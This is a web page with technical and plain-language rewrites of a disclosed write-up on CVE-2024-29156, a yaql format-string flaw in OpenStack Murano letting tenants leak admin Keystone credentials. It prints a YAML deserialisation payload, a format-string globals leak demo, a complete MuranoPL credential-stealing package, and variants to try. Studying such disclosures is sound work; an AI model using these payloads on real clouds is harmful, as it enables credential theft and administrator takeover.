Skip to content
Info disclosure Write-up Advanced

OpenStack Admin Account Takeover due to Unsafe Environment Handling in MuranoPL

A vulnerability in the yaql library's format function allowed attribute access on objects, enabling an attacker to leak the oslo_config configuration of the Murano service. This exposed the Murano service account credentials in Keystone, which belonged to the administrator group, allowing a tenant to escalate to administrator privileges.

zhiniang peng Follow

Published on sites.google.com

OpenStack is an open-source cloud computing platform used to build and manage public and private clouds. It offers infrastructure services like compute, storage, and networking, supporting various virtualization technologies, flexible and scalable.

zhiniang peng (@edwardzpeng), on sites.google.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

OpenStack is an open-source cloud computing platform used to build and manage public and private clouds. It provides infrastructure services for compute, storage and networking, and its website describes it as "The Most Widely Deployed Open Source Cloud Software in the World", with a broad set of use cases.

Murano is an application catalogue service that simplifies deploying application services on OpenStack. Its core job is to parse and execute deployment code written in MuranoPL (Murano Program Language), which is contained inside an app package uploaded by a user, in order to carry out the deployment.

Any feature that parses and executes user-supplied code, templates or data is a security risk, and that is exactly what Murano does with uploaded packages. The research described here found a vulnerability in the default deployment configuration that leaks sensitive platform information and lets a tenant elevate to administrator. The issue is tracked as CVE-2024-29156 (OSSN-0093).

Setup

Murano's architecture is documented officially. User-uploaded app packages eventually reach murano-engine, which parses and executes them. An app package is a zip archive with this structure:

  • manifest.yaml: describes the application to deploy and which resource files are included.
  • Classes/*.yaml: written in MuranoPL, describes the operations that schedule resources to complete the deployment.
  • UI/*.yaml: also MuranoPL, builds the user interaction interface used during deployment.
  • Resources/*: custom resource files.

Finding it

A useful starting point is an older bug in the same area, CVE-2016-4972. It was a classic YAML deserialisation vulnerability that gave direct remote code execution, because MuranoPL content was loaded with yaml.load from PyYAML (before PyYAML 5.1) and users had full control over the YAML file. A payload like this was enough:

YAML
!!python/object/apply:subprocess.Popen [whoami]

The fix was to switch to the SafeLoader loader, which does not support deserialising class objects. That fix is simple and effective, and it closes the direct deserialisation route.

MuranoPL can be seen as an extension of yaql. Compared with plain YAQL it adds looping and conditional keywords (registered as macros such as WhileDoMacro and IfMacro in murano/dsl/macros.py), class definition and inheritance (MuranoClass in murano/dsl/murano_type.py, with extension_class, add_property and add_method), function and method definition (MuranoMethod in murano/dsl/murano_method.py, with invoke), additional functions and expressions registered in murano/dsl/yaql_functions.py, and a set of classes registered in murano/engine/system/system_objects.py (for example AgentListener and Project).

A representative MuranoPL class from the MySQL app looks like this:

YAML
Namespaces:
=: com.example.databases
std: io.murano
res: io.murano.resources
sys: io.murano.system
conf: io.murano.configuration
Name: MySql
Extends:
- std:Application
Properties:
instance:
Contract: $.class(res:Instance).notNull()
Methods:
.init:
Body:
- $._environment: $.find(std:Environment).require()
deploy:
Body:
- If: not $.getAttr(deployed, false)
Then:
- $._environment.reporter.report($this, 'Creating VM for MySql')
- $securityGroupIngress:
- ToPort: 3306
FromPort: 3306
IpProtocol: tcp
External: true
- $._environment.securityGroupManager.addGroupIngress($securityGroupIngress)
- $.instance.deploy()
# Deploy MySql
- $._environment.reporter.report($this, 'Instance is created. Deploying MySql')
- $file: sys:Resources.string('deployMySql.sh')
- conf:Linux.runCommand($.instance.agent, $file)
...

The root cause of the vulnerability found here lies in the yaql library rather than in Murano itself. yaql natively supports a format function, a built-in string formatting function defined as follows:

Python
@specs.parameter('__format_string', yaqltypes.String())
@specs.extension_method
def format_(__format_string, *args, **kwargs):
return __format_string.format(*args, **kwargs)

Both the format string and the parameters being formatted are user-controllable. Python's str.format has a documented feature that allows accessing attributes of the formatted parameter object. That makes it possible to walk from a MuranoPL object into the underlying Python object graph and leak MuranoPL's internal data structures, in the same spirit as the sandbox escape tricks commonly used in Python. A minimal demonstration of the idea:

Python
secret_key = "abcd1234"
class Test:
def __init__(self):
pass
t = Test()
# Exploiting the vulnerability to expose sensitive data:
evil_format_string = '{0.__class__.__init__.__globals__[secret_key]}'
formatted_output = evil_format_string.format(t)
# This line reveals the value of secret_key
print(formatted_output)

This code successfully leaks the value of secret_key.

The next question is how to reach Murano's own configuration. Murano loads its configuration through oslo_config, used like this:

Python
from oslo_config import cfg
CFG = cfg.CONF
config_val = CFG[section][config_key]

So obtaining the CFG object gives access to all configuration loaded by oslo_config. Investigation and experimentation confirmed that configuration leakage can be reached through the Environment class, defined in meta/io.murano/Classes/Environment.yaml:

Python
Namespaces:
=: io.murano
...
# define `Environment` class via MuranoPL
Name: Environment
...
Properties:
...
reporter:
Contract: $.class(sys:StatusReporter)
Usage: Runtime

Environment is a MuranoPL class defined in a YAML file, and among its properties is reporter, of the StatusReporter class. The Python definition of StatusReporter in murano/engine/system/status_reporter.py imports oslo_config and defines CONF = cfg.CONF, which is exactly the object wanted:

Python
from oslo_config import cfg
...
# this is what we want
CONF = cfg.CONF
...
# define `StatusReporter` class that can be used in MuranoPL
@dsl.name('io.murano.system.StatusReporter')
class StatusReporter(object):
...

Native Python objects are set on the _extension attribute of MuranoObject, so from the MuranoPL side the Python StatusReporter object can be reached through _extension.

Exploitation

Step 1: build a package that walks from the reporter to CONF

The key payload for leaking information is a MuranoPL class that fetches the environment, reports a message, and then uses format with an attribute traversal from the reporter object into the globals of its __init__ method, where CONF lives:

YAML
Namespaces:
=: com.test
std: io.murano
Name: OSLO_CONFIG_STEALER
Extends:
- std:Application
Methods:
.init:
Body:
- $._environment: $.find(std:Environment).require()
deploy:
Body:
- $._environment.reporter.report($this, 'Try leaking oslo configuration')
- $._environment.reporter.report($this, format('{0._extension.__init__.__globals__[CONF].__dict__}', $._environment.reporter))

.init obtains the Environment object with $.find(std:Environment).require(). In deploy, the first report call is a normal status message. The second call is the exploit: the format string {0._extension.__init__.__globals__[CONF].__dict__} takes the reporter as argument 0, follows _extension to the Python StatusReporter object, then __init__.__globals__ to the module globals, indexes CONF, and dumps its __dict__. The result is passed to report, so it is written into the deployment log.

Step 2: upload, deploy and read the logs

Package the app in this format, upload it and deploy it. The leaked information appears in the deployment logs.

From the original on sites.google.com

The leaked output includes sensitive information such as the account of the Murano service in Keystone, OpenStack's identity authentication management service. That account is in the administrator group, so a tenant can log in with it and elevate permissions to administrator.

Root cause

The mistake is in yaql's format function: it passes user-controlled format strings straight to Python's str.format, which supports attribute and item access on the formatted arguments. Because MuranoPL objects expose their native Python counterparts through _extension, a tenant can traverse from a MuranoPL object into Python module globals and read oslo_config's CONF, which holds the service configuration; the leaked output includes the Murano service account in Keystone.

The earlier SafeLoader fix for CVE-2016-4972 closed direct YAML deserialisation but did nothing about this path: the payload is ordinary MuranoPL that the engine is designed to execute, so the safe loader does not apply. The vulnerability was found in the default deployment configuration, and the leaked Murano service account is in the administrator group.

Impact

Multiple public and private OpenStack clouds were found to be affected. Tenants can gain administrator privileges in those clouds by deploying a crafted package and reading the leaked service account from the logs.

Beyond Murano, yaql is referenced by other projects; OpenStack's heat and mistral are understood to reference it as well. OpenStack's vulnerability management team notified the relevant project participants to confirm whether they are affected.

OpenStack VMT's recommendation for handling the vulnerability is to disable the Murano service, or fully remove it, from all OpenStack deployments at the earliest opportunity.

Fix

The report states that CVE-2024-29156 was ultimately resolved with the involvement of OpenStack VMT and related personnel. The operational guidance given is to disable or fully remove Murano from OpenStack deployments as soon as possible.

Variants to test

  1. Other yaql format sinks. Anywhere a user-controlled string reaches yaql's format with an object argument, try {0.__class__.__init__.__globals__[SOME_NAME]} and watch for module globals in the output.
  2. Other _extension traversals. In MuranoPL, enumerate objects reachable from Environment and its properties (such as reporter) and walk _extension into their Python classes.
  3. Other OpenStack projects using yaql. The report names heat and mistral as referencing yaql.
  4. Log-based exfiltration. Because the payload writes through report, check whether deployment or workflow logs are readable by the tenant who submitted the package.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

OpenStack is a large piece of software that companies and hosting providers use to run their own cloud: a place where you can create virtual servers, store files and set up networks, all through a web dashboard or an API. An API (application programming interface) is simply a way for one program to talk to another over the network, the same way a website talks to your browser. OpenStack is open source, which means its code is public and anyone can read it, run it or contribute to it. Its website calls it "The Most Widely Deployed Open Source Cloud Software in the World".

One of the services inside OpenStack is called Murano. Think of Murano as an app store for cloud setups: instead of clicking through dozens of screens to build a database server, you pick an "application package" from a catalogue and Murano does the work for you. To do that, Murano reads a small program that is bundled inside the package and runs it. That little program is written in a language called MuranoPL (Murano Program Language).

Here is the important part. Whenever a system takes code or data from a user and runs it, there is a risk that the user can make it do something the designers did not intend. That is the whole idea behind a whole family of security bugs. The researchers in this report looked at exactly that surface, found a way to make Murano print out its own secret configuration, and showed that the leaked secrets include an account with administrator rights on the whole cloud.

The bug is tracked as CVE-2024-29156. A CVE is a public catalogue number for a known security flaw, so people can look it up and track fixes. The OpenStack security team also published it as OSSN-0093, which is their own advisory numbering.

Setup

To understand the attack you need to know how a Murano application package is laid out. Murano's own documentation describes the architecture: packages uploaded by users eventually reach a component called murano-engine, which is the part that reads and executes them. A package is just a zip file with a fixed folder structure:

  • manifest.yaml: a small description file that says what the application is and which resource files belong to it.
  • Classes/*.yaml: files written in MuranoPL that describe the steps needed to set up the resources for the deployment.
  • UI/*.yaml: also MuranoPL, but this one builds the form the user fills in when deploying.
  • Resources/*: any extra files the application needs.

Finding it

A good place to start when auditing a system is its history. An older bug in the same area, CVE-2016-4972, was a classic YAML deserialisation vulnerability. YAML is a human-friendly text format used for configuration files; deserialisation means turning that text back into live objects inside the program. If the program trusts the text completely, the text can describe not just data but also actions, and the program will happily carry them out. In that old bug, MuranoPL content was loaded with yaml.load from the PyYAML library (before PyYAML 5.1), and users had full control over the YAML file. A payload like this was enough to run a command on the server:

YAML
!!python/object/apply:subprocess.Popen [whoami]

Line by line: !!python/object/apply is a YAML tag that tells the loader "build a Python object by calling this function". subprocess.Popen is the Python function that starts a new program. [whoami] is the argument list, so the program started is whoami, a standard command that prints the current user. If the server runs it, the attacker has remote code execution, meaning they can run their own commands on someone else's machine.

The fix was to switch to the SafeLoader loader, which does not support deserialising class objects. That fix is simple and effective, and it closes the direct deserialisation route. Keep that in mind: the researchers were not going to get in the same way twice.

MuranoPL can be seen as an extension of yaql. yaql (Yet Another Query Language) is a small language for querying and transforming data, a bit like a spreadsheet formula language. MuranoPL builds on top of it. Compared with plain yaql it adds:

  • looping and conditional keywords, registered as macros such as WhileDoMacro and IfMacro in murano/dsl/macros.py;
  • class definition and inheritance, through MuranoClass in murano/dsl/murano_type.py, with methods extension_class, add_property and add_method;
  • function and method definition, through MuranoMethod in murano/dsl/murano_method.py, with an invoke method;
  • additional functions and expressions registered in murano/dsl/yaql_functions.py;
  • a set of classes registered in murano/engine/system/system_objects.py, for example AgentListener and Project.

A representative MuranoPL class, taken from the MySQL application, looks like this:

YAML
Namespaces:
=: com.example.databases
std: io.murano
res: io.murano.resources
sys: io.murano.system
conf: io.murano.configuration
Name: MySql
Extends:
- std:Application
Properties:
instance:
Contract: $.class(res:Instance).notNull()
Methods:
.init:
Body:
- $._environment: $.find(std:Environment).require()
deploy:
Body:
- If: not $.getAttr(deployed, false)
Then:
- $._environment.reporter.report($this, 'Creating VM for MySql')
- $securityGroupIngress:
- ToPort: 3306
FromPort: 3306
IpProtocol: tcp
External: true
- $._environment.securityGroupManager.addGroupIngress($securityGroupIngress)
- $.instance.deploy()
# Deploy MySql
- $._environment.reporter.report($this, 'Instance is created. Deploying MySql')
- $file: sys:Resources.string('deployMySql.sh')
- conf:Linux.runCommand($.instance.agent, $file)
...

Line by line: Namespaces gives short aliases to long class names, so std means io.murano and so on. Name: MySql is the name of this class. Extends: - std:Application says it inherits from the standard Application class, the same way one class in any object-oriented language can build on another. Properties lists the data the class holds; here instance must be an object of class res:Instance and cannot be empty (notNull()). Methods lists the actions. .init is the constructor: it runs first and stores the current environment in $._environment by looking it up with $.find(std:Environment).require(). deploy is the main action: it checks whether the app was already deployed, reports progress with $._environment.reporter.report(...), adds a firewall rule opening port 3306 (the MySQL database port), deploys the virtual machine, then fetches a shell script from the package resources and runs it on the machine.

The root cause of the vulnerability found here lies in the yaql library rather than in Murano itself. yaql natively supports a format function, a built-in string formatting function defined as follows:

Python
@specs.parameter('__format_string', yaqltypes.String())
@specs.extension_method
def format_(__format_string, *args, **kwargs):
return __format_string.format(*args, **kwargs)

Line by line: the two @specs... lines are decorators, small labels that tell yaql how to treat the function; the first says the first argument must be a string. def format_(__format_string, *args, **kwargs): defines the function, taking a format string plus any number of extra arguments. The body is a single line: it hands the format string and the arguments straight to Python's own str.format. That last detail is the whole problem. Both the format string and the parameters being formatted are user-controllable, and Python's str.format has a documented feature that allows accessing attributes of the formatted parameter object. In plain terms, if you write {0.something} inside a format string, Python will look up the attribute called something on the first argument and print it. Chain those lookups and you can walk from an object into the program's internals, in the same spirit as the sandbox escape tricks commonly used in Python. A minimal demonstration of the idea:

Python
secret_key = "abcd1234"
class Test:
def __init__(self):
pass
t = Test()
# Exploiting the vulnerability to expose sensitive data:
evil_format_string = '{0.__class__.__init__.__globals__[secret_key]}'
formatted_output = evil_format_string.format(t)
# This line reveals the value of secret_key
print(formatted_output)

Line by line: secret_key = "abcd1234" is a value that is supposed to stay private. class Test: defines a tiny class, and def __init__(self): pass gives it an empty constructor. t = Test() creates one instance. evil_format_string is the malicious format string: {0...} means "the first argument", .__class__ gets its class, .__init__ gets the constructor function of that class, .__globals__ gets the dictionary of global variables of the module where that function was defined, and [secret_key] picks the entry named secret_key from that dictionary. .format(t) applies the format string to t, and print shows the result. This code successfully leaks the value of secret_key, which proves the technique works.

The next question is how to reach Murano's own configuration. Murano loads its configuration through oslo_config, a library that OpenStack projects share for reading settings from files and the command line. It is used like this:

Python
from oslo_config import cfg
CFG = cfg.CONF
config_val = CFG[section][config_key]

Line by line: the first line imports the library. CFG = cfg.CONF grabs the single global configuration object that holds every setting the service has loaded. config_val = CFG[section][config_key] reads one value by section and key, like looking up a cell in a table. So obtaining the CFG object gives access to all configuration loaded by oslo_config.

Investigation and experimentation confirmed that configuration leakage can be reached through the Environment class, defined in meta/io.murano/Classes/Environment.yaml:

Python
Namespaces:
=: io.murano
...
# define `Environment` class via MuranoPL
Name: Environment
...
Properties:
...
reporter:
Contract: $.class(sys:StatusReporter)
Usage: Runtime

Line by line: this is a MuranoPL class definition, the same shape as the MySQL example. Name: Environment names it. Under Properties there is a reporter property whose contract says it must be an object of class sys:StatusReporter, and Usage: Runtime means it is only available while the deployment is running. Environment is a MuranoPL class defined in a YAML file, and among its properties is reporter, of the StatusReporter class. That is the bridge the researchers needed.

The Python definition of StatusReporter in murano/engine/system/status_reporter.py imports oslo_config and defines CONF = cfg.CONF, which is exactly the object wanted:

Python
from oslo_config import cfg
...
# this is what we want
CONF = cfg.CONF
...
# define `StatusReporter` class that can be used in MuranoPL
@dsl.name('io.murano.system.StatusReporter')
class StatusReporter(object):
...

Line by line: the import brings in the configuration library. CONF = cfg.CONF stores the global configuration object in a module-level variable called CONF. The @dsl.name(...) decorator gives the Python class the MuranoPL name io.murano.system.StatusReporter, so MuranoPL code can refer to it. Because CONF lives in the same module as this class, it is reachable from the class's constructor through __globals__, exactly as in the small demonstration above.

Native Python objects are set on the _extension attribute of MuranoObject, so from the MuranoPL side the Python StatusReporter object can be reached through _extension. In everyday terms, _extension is a little door between the safe MuranoPL world and the raw Python world behind it.

Exploitation

Step 1: build a package that walks from the reporter to CONF

The key payload for leaking information is a MuranoPL class that fetches the environment, reports a message, and then uses format with an attribute traversal from the reporter object into the globals of its __init__ method, where CONF lives:

YAML
Namespaces:
=: com.test
std: io.murano
Name: OSLO_CONFIG_STEALER
Extends:
- std:Application
Methods:
.init:
Body:
- $._environment: $.find(std:Environment).require()
deploy:
Body:
- $._environment.reporter.report($this, 'Try leaking oslo configuration')
- $._environment.reporter.report($this, format('{0._extension.__init__.__globals__[CONF].__dict__}', $._environment.reporter))

Line by line: Namespaces maps std to io.murano, and =: to com.test, the package's own namespace. Name: OSLO_CONFIG_STEALER is the class name. Extends: - std:Application makes it a normal application, so Murano will deploy it like any other. In .init, $._environment: $.find(std:Environment).require() finds the Environment object and stores it, exactly as the MySQL example did. In deploy, the first report call is a harmless status message, just to show the app is running. The second call is the exploit: the format string {0._extension.__init__.__globals__[CONF].__dict__} takes the reporter as argument 0, follows _extension to the Python StatusReporter object, then __init__.__globals__ to the module globals, indexes CONF, and dumps its __dict__, which is the dictionary of everything the configuration object holds. The result is passed to report, so it is written into the deployment log where the attacker can read it.

Step 2: upload, deploy and read the logs

Package the app in this format, upload it and deploy it. The leaked information appears in the deployment logs.

From the original on sites.google.com

The leaked output includes sensitive information such as the account of the Murano service in Keystone, OpenStack's identity authentication management service. Keystone is the part of OpenStack that checks who you are and what you are allowed to do. That account is in the administrator group, so a tenant can log in with it and elevate permissions to administrator.

Root cause

The mistake is in yaql's format function: it passes user-controlled format strings straight to Python's str.format, which supports attribute and item access on the formatted arguments. Because MuranoPL objects expose their native Python counterparts through _extension, a tenant can traverse from a MuranoPL object into Python module globals and read oslo_config's CONF, which holds the service configuration; the leaked output includes the Murano service account in Keystone.

The earlier SafeLoader fix for CVE-2016-4972 closed direct YAML deserialisation but did nothing about this path: the payload is ordinary MuranoPL that the engine is designed to execute, so the safe loader does not apply. The vulnerability was found in the default deployment configuration, and the leaked Murano service account is in the administrator group.

Impact

Multiple public and private OpenStack clouds were found to be affected. Tenants can gain administrator privileges in those clouds by deploying a crafted package and reading the leaked service account from the logs.

Beyond Murano, yaql is referenced by other projects; OpenStack's heat (the orchestration service that builds groups of resources from templates) and mistral (the workflow service that runs multi-step tasks) are understood to reference it as well. OpenStack's vulnerability management team notified the relevant project participants to confirm whether they are affected.

OpenStack VMT's recommendation for handling the vulnerability is to disable the Murano service, or fully remove it, from all OpenStack deployments at the earliest opportunity.

Fix

The report states that CVE-2024-29156 was ultimately resolved with the involvement of OpenStack VMT and related personnel. The operational guidance given is to disable or fully remove Murano from OpenStack deployments as soon as possible.

Variants to test

  1. Other yaql format sinks. Anywhere a user-controlled string reaches yaql's format with an object argument, try {0.__class__.__init__.__globals__[SOME_NAME]} and watch for module globals in the output.
  2. Other _extension traversals. In MuranoPL, enumerate objects reachable from Environment and its properties (such as reporter) and walk _extension into their Python classes.
  3. Other OpenStack projects using yaql. The report names heat and mistral as referencing yaql.
  4. Log-based exfiltration. Because the payload writes through report, check whether deployment or workflow logs are readable by the tenant who submitted the package.

Glossary

  • API: a defined way for one program to talk to another over a network, like a menu of requests a service accepts.
  • Attribute: a named piece of data attached to an object in a program, such as reporter on an Environment.
  • CVE: a public catalogue number for a known security vulnerability, so people can look it up and track fixes.
  • Deserialisation: turning stored text (such as YAML or JSON) back into live objects inside a program.
  • Format string: a text template with placeholders like {0} that get replaced by values when the program runs.
  • Keystone: OpenStack's identity service, which checks who users are and what they may do.
  • Murano: an OpenStack service that deploys applications from uploaded packages.
  • MuranoPL: the small programming language used inside Murano application packages.
  • Namespace: a short alias for a group of class names, so long names can be written briefly.
  • OpenStack: an open-source platform for building public and private clouds.
  • oslo_config: a shared OpenStack library that loads and holds a service's configuration settings.
  • OSSN: OpenStack Security Note, the OpenStack security team's advisory format.
  • Payload: the piece of code or data an attacker sends to trigger a vulnerability.
  • PyYAML: a Python library for reading and writing YAML files.
  • Remote code execution (RCE): a vulnerability that lets an attacker run their own commands on someone else's machine.
  • SafeLoader: a PyYAML mode that only builds plain data and refuses to build arbitrary objects.
  • Sandbox escape: getting out of a restricted environment into the full power of the underlying system.
  • Tenant: a customer of a cloud, with their own account and resources but not administrator rights.
  • VMT: OpenStack's vulnerability management team, which coordinates security reports and fixes.
  • yaql: a small query language used by OpenStack projects, which MuranoPL extends.
  • YAML: a human-friendly text format for configuration and data.

More by zhiniang peng

View all

3 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.